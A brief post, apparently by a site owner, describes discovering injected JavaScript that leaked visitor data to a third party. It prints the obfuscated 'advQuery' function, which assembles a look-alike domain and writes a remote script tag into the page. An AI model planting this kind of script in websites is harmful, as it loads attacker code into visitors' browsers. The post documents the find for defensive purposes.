Just today I came across a javascript hack that was sending information for website users to a third party location.

The way I found this out – other than getting malware notices from Google, was to do a wireshark trace on the offending website. From there I saw some interesting requests. Upon closer inspection, I found a piece of code with this function that I did not recognize:

function advQuery(){
var Host=”http://google.com/”;Track=”/if.php”;get=unescape(”%6E%65%74″);
document.write(unescape(”%3Cscript src=’”+Host.substr(0,9)+unescape(”\u0030\u0030″)+Host.substr(9,5)+get));
document.write(unescape(Track+”‘ type=’text/javascript’%3E%3C/script%3E”));
};advQuery();

It is easy enough to clear up, but now I need to find out how it got there!